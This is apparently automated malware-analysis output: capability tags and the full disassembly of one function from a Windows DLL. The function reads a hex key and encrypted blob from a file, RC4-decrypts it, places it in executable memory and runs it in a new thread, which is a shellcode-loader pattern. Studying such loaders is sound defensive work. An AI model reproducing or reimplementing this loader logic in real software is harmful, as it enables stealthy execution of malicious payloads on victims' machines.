Function at 0x1800014c0
Capabilities:
Create thread
Encrypt data using rc4 ksa

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0xe10d0]
mov eax, 0xe11d0
call fcn.180002c90
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0xe10c0], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov ecx, 0x20
call fcn.180001d60
mov qword [rsp + 0x58], rax
movdqa xmm0, xmmword [0x180003440]
movdqu xmmword [rsp + 0x68], xmm0
movups xmm0, xmmword [str.B__Trdsr_Qtcmhb_rxrudl_uyu]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x180003328]
movsd qword [rax + 0x10], xmm0
movzx ecx, word [0x180003330]
mov word [rax + 0x18], cx
mov byte [rax + 0x1a], 0
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x38]
call fcn.1800012f0
lea rcx, [rsp + 0x38]
cmp qword [rsp + 0x50], 0xf
cmova rcx, qword [rsp + 0x38]
lea rdx, [0x180003334]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rbx, rax
test rax, rax
jne 0x180001586
lea rcx, str.file_err
call fcn.180001020
lea r9, [rbp + 0x4b0b0]
lea r8, [rbp - 0x78]
lea rdx, str.Key:__32s_nEncrypted_Data:__614400s
mov rcx, rbx
call fcn.180001080
cmp eax, 2
je 0x1800015ba
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
lea rcx, str.file_err
call fcn.180001020
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
lea rbx, [rbp - 0x78]
xor esi, esi
xor edi, edi
nop dword [rax + rax]
mov r15d, 0xffffffff
cmp byte [rbx], 0
je 0x180001611
cmp byte [rbx + 1], 0
je 0x180001611
movsxd rax, edi
lea r8, [rsp + 0x78]
add r8, rax
lea rdx, str._2hhx
mov rcx, rbx
call fcn.1800010d0
cmp eax, 1
jne 0x18000191d
add rbx, 2
inc esi
inc edi
cmp edi, 0x10
jl 0x1800015d0
cmp esi, r15d
jne 0x180001622
lea rcx, str.key_length_err
call fcn.180001020
lea rbx, [rbp + 0x4b0b0]
xor r14d, r14d
xor edi, edi
nop
cmp byte [rbx], 0
je 0x18000166d
cmp byte [rbx + 1], 0
je 0x18000166d
movsxd rax, edi
lea r8, [rbp + 0xb0]
add r8, rax
lea rdx, str._2hhx
mov rcx, rbx
call fcn.1800010d0
cmp eax, 1
jne 0x180001676
add rbx, 2
inc r14d
inc edi
cmp edi, 0x4b000
jl 0x180001630
mov r15d, r14d
cmp r14d, 0xffffffff
jne 0x180001682
lea rcx, str.data_err
call fcn.180001020
movdqa xmm2, xmmword [0x180003450]
mov ecx, 8
lea rdx, [rbp - 0x4c]
movdqa xmm3, xmmword [0x180003460]
nop dword [rax + rax]
lea eax, [rcx - 8]
movd xmm0, eax
pshufd xmm0, xmm0, 0
paddd xmm0, xmm2
andps xmm0, xmm3
packuswb xmm0, xmm0
packuswb xmm0, xmm0
movd dword [rdx - 4], xmm0
lea eax, [rcx - 4]
movd xmm1, eax
pshufd xmm1, xmm1, 0
paddd xmm1, xmm2
andps xmm1, xmm3
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd dword [rdx], xmm1
movd xmm0, ecx
pshufd xmm0, xmm0, 0
paddd xmm0, xmm2
andps xmm0, xmm3
packuswb xmm0, xmm0
packuswb xmm0, xmm0
movd dword [rdx + 4], xmm0
lea eax, [rcx + 4]
movd xmm1, eax
pshufd xmm1, xmm1, 0
paddd xmm1, xmm2
andps xmm1, xmm3
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd dword [rdx + 8], xmm1
add ecx, 0x10
lea rdx, [rdx + 0x10]
lea eax, [rcx - 8]
cmp eax, 0x100
jl 0x1800016a0
xor r8d, r8d
xor r9d, r9d
lea r10, [rbp - 0x50]
nop dword [rax + rax]
movzx r11d, byte [r10]
mov eax, r9d
cdq
idiv esi
movsxd rax, edx
movzx ecx, byte [rsp + rax + 0x78]
add r8d, ecx
add r8d, r11d
and r8d, 0x800000ff
jge 0x18000176e
dec r8d
or r8d, 0xffffff00
inc r8d
movsxd rax, r8d
lea rcx, [rbp - 0x50]
add rcx, rax
movzx eax, byte [rcx]
mov byte [r10], al
mov byte [rcx], r11b
inc r9d
inc r10
cmp r9d, 0x100
jl 0x180001740
xor eax, eax
xor r8d, r8d
movsxd rdi, r15d
test r15d, r15d
jle 0x18000180b
xor r9d, r9d
inc eax
and eax, 0x800000ff
jge 0x1800017b2
dec eax
or eax, 0xffffff00
inc eax
movsxd rcx, eax
lea r10, [rbp - 0x50]
add r10, rcx
movzx r11d, byte [r10]
add r8d, r11d
and r8d, 0x800000ff
jge 0x1800017d9
dec r8d
or r8d, 0xffffff00
inc r8d
movsxd rcx, r8d
lea rdx, [rbp - 0x50]
add rdx, rcx
movzx ecx, byte [rdx]
mov byte [r10], cl
mov byte [rdx], r11b
movzx edx, byte [r10]
add rdx, r11
movzx ecx, dl
movzx edx, byte [rbp + rcx - 0x50]
xor byte [rbp + r9 + 0xb0], dl
inc r9
cmp r9, rdi
jl 0x1800017a0
mov r9d, 4
mov r8d, 0x3000
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x180001836
lea rcx, str.VirtualAlloc_err
call fcn.180001020
mov r8, rdi
lea rdx, [rbp + 0xb0]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea r9, [rsp + 0x34]
mov r8d, 0x20
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x180001874
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rbx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, rax
test rax, rax
jne 0x1800018ba
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea rcx, str.CreateThread_err
call fcn.180001020
mov edx, 0xffffffff
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x18000192a
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001925
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180001925
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov esi, r15d
jmp 0x180001616
call fcn.180001d9c
movdqa xmm0, xmmword [0x180003430]
movdqu xmmword [rsp + 0x48], xmm0
mov byte [rsp + 0x38], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x18000197d
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001978
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180001978
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180001d9c
mov rcx, qword [rbp + 0xe10c0]
xor rcx, rsp
call fcn.180001d40
lea r11, [rsp + 0xe11d0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret